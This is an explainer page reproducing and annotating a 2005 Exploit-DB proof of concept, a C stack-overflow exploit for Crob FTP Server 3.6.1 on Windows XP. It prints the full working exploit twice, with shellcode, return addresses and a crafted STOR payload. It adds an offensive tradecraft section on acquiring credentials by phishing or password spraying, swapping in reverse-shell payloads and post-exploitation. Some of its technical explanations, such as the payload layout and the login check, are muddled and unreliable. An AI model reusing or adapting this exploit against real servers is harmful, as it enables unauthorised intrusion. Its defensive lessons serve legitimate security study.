Crob FTP Server 3.6.1 Remote Stack Overflow Explained

Crob FTP Server 3.6.1 Remote Stack Overflow Explained
What this paper is
This paper is a Proof-of-Concept (PoC) exploit for a remote stack overflow vulnerability in Crob FTP Server version 3.6.1. It demonstrates how an attacker can send a specially crafted command to the FTP server, causing it to crash or execute arbitrary code. The exploit targets Windows XP and aims to achieve remote code execution.
Simple technical breakdown
The exploit works by sending a long, malformed string as part of an FTP command. This string overwrites the server's memory, specifically the "stack," which is used to store temporary data and function call information. By carefully crafting the overflowing string, an attacker can overwrite the return address of a function, redirecting the program's execution to malicious code (shellcode) that they have injected into the server's memory. In this case, the exploit targets the STOR (store file) command.
Complete code and payload walkthrough
Let's break down the provided C code and its components.
/*
* CrobFTP remote stack overflow PoC
* ---------------------------------
* Tested on CrobFTP Server 3.6.1, Windows XP
*
* Coded by Leon Juranic <ljuranic@lss.hr>
* LSS Security / http://security.lss.hr
*
*/
#include <stdio.h>
#include <windows.h>
#include <time.h>
#pragma comment (lib,"ws2_32")- Includes and Pragmas: These lines include necessary header files for standard input/output (
stdio.h), Windows API functions (windows.h), time functions (time.h), and link the Windows Sockets library (ws2_32.lib) for network operations. The#pragma comment (lib,"ws2_32")directive ensures the linker includes this library.
char *fzz_recv (int sock)
{
fd_set fds;
struct timeval tv;
static char buf[10000];
char *ptr=buf;
int n;
tv.tv_sec = 5;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sock,&fds);
if (select(NULL,&fds,NULL,NULL,&tv) != 0) {
if (FD_ISSET (sock,&fds)) n=recv (sock,ptr,sizeof(buf),0);
buf[n-1] = '\0';
printf ("RECV: %s\n",buf);
return buf;
}
else {
return NULL;
}
}fzz_recvfunction:- Purpose: This function is designed to receive data from a socket with a timeout. It's a utility to read responses from the FTP server.
fd_set fds; struct timeval tv; static char buf[10000]; char *ptr=buf; int n;: Initializes a file descriptor set (fds) forselect, a time structure (tv) for the timeout, a static buffer (buf) to store received data, a pointer (ptr) to the buffer, and an integer (n) to store the number of bytes received.tv.tv_sec = 5; tv.tv_usec = 0;: Sets the timeout forselectto 5 seconds.FD_ZERO(&fds); FD_SET(sock,&fds);: Clears the file descriptor set and adds the given socket (sock) to it, soselectwill monitor this socket for activity.if (select(NULL,&fds,NULL,NULL,&tv) != 0): Calls theselectsystem call to wait for data on the socket up to the specified timeout. Ifselectreturns a value other than 0, it means there was activity on the socket (or an error).if (FD_ISSET (sock,&fds)) n=recv (sock,ptr,sizeof(buf),0);: If the socket is ready for reading (FD_ISSET), it receives data into the buffer usingrecv.buf[n-1] = '\0';: Null-terminates the received data to treat it as a C-string. It subtracts 1 to ensure the null terminator doesn't overwrite the last byte of received data if the buffer is full.printf ("RECV: %s\n",buf);: Prints the received data to the console for debugging.return buf;: Returns a pointer to the received data.else { return NULL; }: Ifselecttimes out (returns 0), it returnsNULL.- Mapping:
fzz_recv(sock)-> Reads data from a socket with a 5-second timeout.
int login (int sock, char *user, char *pass)
{
char buf[1024], *bla;
bla=fzz_recv(sock);
printf ("recv: %s\n",bla);
sprintf (buf,"USER %s\r\n",user);
send (sock,buf,strlen(buf),0);
bla=fzz_recv(sock);
printf ("recv: %s\n",bla);
sprintf (buf,"PASS %s\r\n",pass);
send (sock,buf,strlen(buf),0);
bla=fzz_recv(sock);
printf ("recv: %s\n",bla);
if (strcmp("230",bla) != NULL) // Note: This condition is likely incorrect, should be != 0 for success
return 0;
else return -1;
return 0;
}loginfunction:- Purpose: This function attempts to log in to the FTP server using provided username and password.
char buf[1024], *bla;: Declares a buffer for sending commands and a pointer to store received data.bla=fzz_recv(sock); printf ("recv: %s\n",bla);: Receives and prints the initial banner from the server.sprintf (buf,"USER %s\r\n",user); send (sock,buf,strlen(buf),0);: Formats and sends theUSERcommand with the provided username.bla=fzz_recv(sock); printf ("recv: %s\n",bla);: Receives and prints the server's response to theUSERcommand.sprintf (buf,"PASS %s\r\n",pass); send (sock,buf,strlen(buf),0);: Formats and sends thePASScommand with the provided password.bla=fzz_recv(sock); printf ("recv: %s\n",bla);: Receives and prints the server's response to thePASScommand.if (strcmp("230",bla) != NULL): This is a crucial part. It checks if the server's response starts with "230" (a common FTP code for successful login). However,strcmpreturns 0 if strings are equal, and non-zero otherwise. The condition!= NULL(which is equivalent to!= 0) means it returns 0 if the strings are not equal, and -1 if they are equal. This logic is inverted for a successful login check. A correct check would beif (strncmp("230", bla, 3) == 0). As written, it will return 0 (indicating success) if the response is not "230", and -1 (indicating failure) if it is "230". This is a likely bug in the PoC's login logic.return 0;/return -1;: Returns 0 for success (based on the flawedstrcmplogic) and -1 for failure.- Mapping:
login(sock, user, pass)-> Authenticates with the FTP server.
void lame_sploit (char *pack, char *user, char *pass)
{
WORD wVersionRequested;
WSADATA wsaData;
int sock, err,x;
struct sockaddr_in sin;
char buf[2000],tmp[1000];
char *shell= // 5 min. XP SP1 shellcode
"\x33\xc0" // xor eax,eax
"\x50" // push eax (\0)
"\x68\x2e\x65\x78\x65" // push '.exe'
"\x68\x63\x61\x6c\x63" // push 'calc'
"\x54" // push esp
"\xba\x44\x80\xc2\x77" // mov edx, 77c28044
"\xff\xd2"; // call edx (system)
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf ("ERROR: Sorry, cannot create socket!!!\n");
ExitProcess(-1);
}
sock=socket(AF_INET,SOCK_STREAM,0);
sin.sin_family=AF_INET;
sin.sin_addr.s_addr = inet_addr(pack);
sin.sin_port = htons(21);
if (connect(sock,(struct sockaddr*)&sin, sizeof(struct sockaddr)) == -1) {
printf ("CONNECT :(((\n");
ExitProcess(-1);
}
if (login(sock,user,pass) == -1)
{
printf ("ERROR: Cannot login to FTP server, sorry!!!\n");
exit(-1);
}
memset(tmp,0,sizeof(tmp));
memset (tmp,0x90,180); // Fill 180 bytes with NOPs
memcpy (&tmp[80],shell,strlen(shell)); // Copy shellcode starting at offset 80
*(long*)&tmp[158] = 0x77da52b8; // EIP -> ret into 'jmp esp'
*(long*)&tmp[166] = 0x74ec8390; // sub esp,0x74
*(long*)&tmp[170] = 0x9090e4ff; // jmp esp
_snprintf (buf,sizeof(buf),"STOR %s\r\n", tmp); // Construct the exploit command
printf ("DEBUG: %.30s %d\n",buf,strlen(buf));
send (sock,buf,strlen(buf),0);
printf ("%s\n",fzz_recv(sock));
strcpy(buf,"RMD ");
for (x=0;x<276;x++)
strcat (buf,".../");
strcat(buf,"\r\n");
printf ("Sending exploit strings\n");
send (sock,buf,strlen(buf),0);
printf ("recv: %s\n",fzz_recv(sock));
}lame_sploitfunction:- Purpose: This is the core function that sets up the network connection, logs in, crafts the exploit payload, and sends it to the target server.
char *shell= ...: This defines the shellcode.\x33\xc0(xor eax,eax): Clears theeaxregister.\x50(push eax): Pushes the null terminator (\0) onto the stack.\x68\x2e\x65\x78\x65(push '.exe'): Pushes the string ".exe" onto the stack.\x68\x63\x61\x6c\x63(push 'calc'): Pushes the string "calc" onto the stack.\x54(push esp): Pushes the current value ofesp(stack pointer) onto the stack. Thisespnow points to the string "calc.exe\0".\xba\x44\x80\xc2\x77(mov edx, 77c28044): Loads a specific address into theedxregister. This address is likely a pointer to thesystemfunction inmsvcrt.dllor a similar DLL, which is used to execute commands. The address0x77c28044is specific to Windows XP SP1.\xff\xd2(call edx): Calls the address inedx. Sinceedxpoints tosystem, this effectively callssystem("calc.exe").- Mapping:
shell-> Shellcode to executecalc.exe.
WSAStartup,socket,inet_addr,connect: Standard Windows Sockets API calls to initialize the network library, create a socket, convert the IP address string to a network format, and establish a connection to the FTP server on port 21.login(sock,user,pass): Calls the login function. If login fails, the exploit exits.memset(tmp,0,sizeof(tmp)); memset (tmp,0x90,180);: Initializes a buffertmpwith null bytes and then fills the first 180 bytes with NOP (No Operation) instructions (0x90). NOPs are used to create a "sled" that helps ensure execution reaches the shellcode, even if the exact jump address is slightly off.memcpy (&tmp[80],shell,strlen(shell));: Copies the shellcode into thetmpbuffer, starting at offset 80.*(long*)&tmp[158] = 0x77da52b8;: This line places a specific address at offset 158 within thetmpbuffer. This address (0x77da52b8) is a "ret" instruction (return) that points to ajmp espinstruction. This is part of the exploit's technique to redirect execution to the shellcode. This address is also specific to Windows XP SP1.*(long*)&tmp[166] = 0x74ec8390;: This line places another address.0x74ec8390is likely asub esp, 0x74instruction, which adjusts the stack pointer.*(long*)&tmp[170] = 0x9090e4ff;: This line places another address.0x9090e4ffis likely ajmp espinstruction, which jumps to the current stack pointer.- Payload Construction: The
tmpbuffer is constructed as follows:[180 bytes of NOPs]+[shellcode]+[padding/return address]- The NOP sled is at the beginning.
- The shellcode is placed after the NOPs.
- The addresses at
tmp[158],tmp[166], andtmp[170]are crucial for controlling the execution flow. They are designed to land the execution on thejmp espinstruction which will then jump to the shellcode. The exact offsets and values are highly dependent on the target system's memory layout and loaded DLLs.
_snprintf (buf,sizeof(buf),"STOR %s\r\n", tmp);: Constructs the FTPSTORcommand. Thetmpbuffer, containing the NOPs, shellcode, and return address manipulation, is sent as the filename. The server's FTP protocol typically expects a filename afterSTOR. When the server tries to process this long, malformed "filename," it will overflow the buffer allocated for it on the stack.send (sock,buf,strlen(buf),0); printf ("%s\n",fzz_recv(sock));: Sends the craftedSTORcommand and receives the server's response.strcpy(buf,"RMD "); for (x=0;x<276;x++) strcat (buf,".../"); strcat(buf,"\r\n");: This part constructs another string,RMD .../.../...(repeated 276 times). This is likely a secondary exploit attempt or a way to trigger a different vulnerability, or perhaps just to ensure the server processes enough data to trigger the overflow if theSTORcommand alone wasn't sufficient or if the initial overflow didn't lead to immediate execution. TheRMDcommand is used to remove directories. Sending a very long "directory name" could also cause a buffer overflow.send (sock,buf,strlen(buf),0); printf ("recv: %s\n",fzz_recv(sock));: Sends theRMDcommand and receives the response.- Mapping:
memset (tmp,0x90,180)-> NOP sled.memcpy (&tmp[80],shell,strlen(shell))-> Injects shellcode.*(long*)&tmp[158] = 0x77da52b8;-> Sets the return address to ajmp espgadget.*(long*)&tmp[166] = 0x74ec8390;-> Stack adjustment instruction.*(long*)&tmp[170] = 0x9090e4ff;->jmp espinstruction._snprintf (buf,sizeof(buf),"STOR %s\r\n", tmp);-> Crafts the exploit command.send (sock,buf,strlen(buf),0);-> Sends the exploit payload.strcpy(buf,"RMD "); for (x=0;x<276;x++) strcat (buf,".../"); strcat(buf,"\r\n");-> Secondary exploit string.
main (int argc, char **argv)
{
printf ("CrobFTP Stack overflow PoC \n"
"Coded by Leon Juranic <ljuranic@lss.hr>\n"
"LSS Security / http://security.lss.hr/\n");
if (argc < 4 ) {
printf ("\nusage: %s <target_IP> <user> <pass>\n",argv[0]);
exit(-1);
}
lame_sploit(argv[1],argv[2],argv[3]);
}
// milw0rm.com [2005-06-03]mainfunction:- Purpose: The entry point of the program. It handles command-line arguments and initiates the exploit.
printf (...): Prints introductory information about the exploit.if (argc < 4 ) { ... }: Checks if the correct number of command-line arguments (program name, target IP, username, password) are provided. If not, it prints usage instructions and exits.lame_sploit(argv[1],argv[2],argv[3]);: Calls thelame_sploitfunction with the IP address, username, and password provided as command-line arguments.// milw0rm.com [2005-06-03]: A comment indicating the source and publication date of the exploit.
Practical details for offensive operations teams
- Required Access Level: Network access to the target FTP server is required. No local access or prior authentication is needed beyond valid FTP credentials.
- Lab Preconditions:
- A vulnerable Crob FTP Server 3.6.1 instance must be set up and accessible over the network.
- The target operating system should be Windows XP SP1 (as indicated by the shellcode and specific addresses used). Other Windows versions might require different shellcode and exploit addresses.
- A network connection between the attacker machine and the target FTP server.
- Tooling Assumptions:
- The exploit is written in C and requires a C compiler (like MinGW or Visual Studio) to build on Windows.
- Standard networking libraries (
ws2_32.lib) are assumed to be available.
- Execution Pitfalls:
- Target Specificity: The exploit relies on specific memory addresses (
0x77da52b8,0x74ec8390,0x9090e4ff, and thesystemfunction address0x77c28044) that are highly dependent on the exact Windows version and service pack. This exploit is likely only functional on Windows XP SP1. - Login Logic Bug: The
strcmplogic in theloginfunction appears inverted. This might prevent successful login if the server responds with "230" as expected, causing the exploit to fail prematurely. This would need to be corrected for the exploit to proceed. - Network Latency/Reliability: Unreliable network connections could lead to
recvcalls timing out or receiving incomplete data, causing the exploit to fail. - Firewalls/IDS/IPS: Network security devices might detect the unusual
STORcommand or the shellcode itself, blocking the exploit. - Server Configuration: If the FTP server is configured to disallow certain commands or has other security measures in place, the exploit might not work.
- Buffer Size: The exact overflow size and the offsets for the return address and shellcode are critical. Minor variations in the server's stack layout or the size of the FTP command processing buffer could cause the exploit to fail.
- ASLR/DEP: Modern operating systems have exploit mitigation techniques like Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP). This exploit, being from 2005, predates widespread adoption of these defenses and would likely not work on modern, patched systems without significant modification.
- Target Specificity: The exploit relies on specific memory addresses (
- Tradecraft Considerations:
- Reconnaissance: Confirm the target is running Crob FTP Server 3.6.1 and the OS version.
- Credential Acquisition: The exploit requires valid FTP credentials. These would need to be obtained through other means (e.g., phishing, password spraying, previous breaches).
- Payload Customization: For a real operation, the shellcode would be customized to perform a specific action (e.g., download a larger payload, establish a reverse shell) rather than just launching
calc.exe. The shellcode would also need to be re-written for different target OS versions. - Stealth: The
STORandRMDcommands are legitimate FTP commands. However, the unusually long filenames and the timing of their execution might raise suspicion. Logging on the FTP server could reveal these activities. - Post-Exploitation: If successful, the attacker would have code execution on the server. The next steps would involve privilege escalation, lateral movement, or data exfiltration, depending on the objective.
Where this was used and when
- Context: This exploit was developed for authorized penetration testing and security research. Its primary purpose was to demonstrate a vulnerability in the Crob FTP Server.
- Timeframe: Published on June 3, 2005. Exploits of this nature were common in the early to mid-2000s as software security practices were less mature. It's highly unlikely this specific exploit would be effective against modern, patched systems.
Defensive lessons for modern teams
- Patch Management: Regularly update FTP server software and all other network services to fix known vulnerabilities. This is the most fundamental defense.
- Input Validation: Developers must rigorously validate all user inputs, especially when they are used in functions that interact with memory buffers (like string operations, network protocols). Prevent buffer overflows by checking input lengths and sanitizing data.
- Secure Coding Practices: Train developers on secure coding principles to avoid common vulnerabilities like stack overflows, format string bugs, and integer overflows.
- Network Segmentation: Isolate critical servers and services. If an FTP server is compromised, network segmentation can limit the attacker's ability to move laterally to other systems.
- Intrusion Detection/Prevention Systems (IDS/IPS): Deploy IDS/IPS solutions that can detect anomalous network traffic patterns, including malformed commands or exploit attempts, even if the specific signature is unknown, by looking for unusual data lengths or command structures.
- Logging and Monitoring: Enable comprehensive logging on FTP servers and network devices. Monitor logs for suspicious activity, such as repeated failed login attempts, unusual commands, or large data transfers.
- Exploit Mitigation Technologies: Modern operating systems and applications employ defenses like ASLR, DEP, and Control Flow Guard (CFG). While this exploit predates these, understanding them is crucial for modern defense.
- Least Privilege: Run FTP server processes with the minimum necessary privileges. This limits the impact of a successful exploit.
ASCII visual (if applicable)
This exploit involves a client-server interaction and memory manipulation. A simple flow diagram can illustrate the exploit process:
+-----------------+ +-----------------------+
| Attacker Client | ----> | Crob FTP Server 3.6.1 |
| (Exploit Code) | | (Vulnerable Service) |
+-----------------+ +-----------------------+
|
| 1. Connect & Login
| (Valid Credentials Required)
|
v
+-----------------+ +-----------------------+
| Attacker Client | ----> | Crob FTP Server 3.6.1 |
| (Crafted Payload| | |
| - NOPs | | |
| - Shellcode | | |
| - Return Addr) | | |
+-----------------+ +-----------------------+
|
| 2. Send Malformed 'STOR' Command
| (e.g., "STOR <long_string_with_payload>\r\n")
|
v
+-----------------+ +-----------------------+
| Crob FTP Server | <---- | Attacker Client |
| (Stack Overflow)| | |
| (EIP Overwritten| | |
| -> JMP ESP) | | |
+-----------------+ +-----------------------+
|
| 3. Execution Redirected to Shellcode
|
v
+-----------------+ +-----------------------+
| Crob FTP Server | | Shellcode Execution |
| (e.g., calc.exe| ----> | (e.g., system("calc.exe"))|
| launched) | +-----------------------+
+-----------------+Source references
- Paper ID: 1028
- Paper Title: Crob FTP Server 3.6.1 - Remote Stack Overflow
- Author: Leon Juranic
- Published: 2005-06-03
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/1028
- Raw URL: https://www.exploit-db.com/raw/1028
Original Exploit-DB Content (Verbatim)
/*
* CrobFTP remote stack overflow PoC
* ---------------------------------
* Tested on Crob FTP Server 3.6.1, Windows XP
*
* Coded by Leon Juranic <ljuranic@lss.hr>
* LSS Security / http://security.lss.hr
*
*/
#include <stdio.h>
#include <windows.h>
#include <time.h>
#pragma comment (lib,"ws2_32")
char *fzz_recv (int sock)
{
fd_set fds;
struct timeval tv;
static char buf[10000];
char *ptr=buf;
int n;
tv.tv_sec = 5;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sock,&fds);
if (select(NULL,&fds,NULL,NULL,&tv) != 0) {
if (FD_ISSET (sock,&fds)) n=recv (sock,ptr,sizeof(buf),0);
buf[n-1] = '\0';
printf ("RECV: %s\n",buf);
return buf;
}
else {
return NULL;
}
}
int login (int sock, char *user, char *pass)
{
char buf[1024], *bla;
bla=fzz_recv(sock);
printf ("recv: %s\n",bla);
sprintf (buf,"USER %s\r\n",user);
send (sock,buf,strlen(buf),0);
bla=fzz_recv(sock);
printf ("recv: %s\n",bla);
sprintf (buf,"PASS %s\r\n",pass);
send (sock,buf,strlen(buf),0);
bla=fzz_recv(sock);
printf ("recv: %s\n",bla);
if (strcmp("230",bla) != NULL)
return 0;
else return -1;
return 0;
}
void lame_sploit (char *pack, char *user, char *pass)
{
WORD wVersionRequested;
WSADATA wsaData;
int sock, err,x;
struct sockaddr_in sin;
char buf[2000],tmp[1000];
char *shell= // 5 min. XP SP1 shellcode
"\x33\xc0" // xor eax,eax
"\x50" // push eax (\0)
"\x68\x2e\x65\x78\x65" // push '.exe'
"\x68\x63\x61\x6c\x63" // push 'calc'
"\x54" // push esp
"\xba\x44\x80\xc2\x77" // mov edx, 77c28044
"\xff\xd2"; // call edx (system)
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf ("ERROR: Sorry, cannot create socket!!!\n");
ExitProcess(-1);
}
sock=socket(AF_INET,SOCK_STREAM,0);
sin.sin_family=AF_INET;
sin.sin_addr.s_addr = inet_addr(pack);
sin.sin_port = htons(21);
if (connect(sock,(struct sockaddr*)&sin, sizeof(struct sockaddr)) == -1) {
printf ("CONNECT :(((\n");
ExitProcess(-1);
}
if (login(sock,user,pass) == -1)
{
printf ("ERROR: Cannot login to FTP server, sorry!!!\n");
exit(-1);
}
memset(tmp,0,sizeof(tmp));
memset (tmp,0x90,180);
memcpy (&tmp[80],shell,strlen(shell));
*(long*)&tmp[158] = 0x77da52b8; // EIP -> ret into 'jmp esp'
*(long*)&tmp[166] = 0x74ec8390; // sub esp,0x74
*(long*)&tmp[170] = 0x9090e4ff; // jmp esp
_snprintf (buf,sizeof(buf),"STOR %s\r\n", tmp);
printf ("DEBUG: %.30s %d\n",buf,strlen(buf));
send (sock,buf,strlen(buf),0);
printf ("%s\n",fzz_recv(sock));
strcpy(buf,"RMD ");
for (x=0;x<276;x++)
strcat (buf,".../");
strcat(buf,"\r\n");
printf ("Sending exploit strings\n");
send (sock,buf,strlen(buf),0);
printf ("recv: %s\n",fzz_recv(sock));
}
main (int argc, char **argv)
{
printf ("CrobFTP Stack overflow PoC \n"
"Coded by Leon Juranic <ljuranic@lss.hr>\n"
"LSS Security / http://security.lss.hr/\n");
if (argc < 4 ) {
printf ("\nusage: %s <target_IP> <user> <pass>\n",argv[0]);
exit(-1);
}
lame_sploit(argv[1],argv[2],argv[3]);
}
// milw0rm.com [2005-06-03]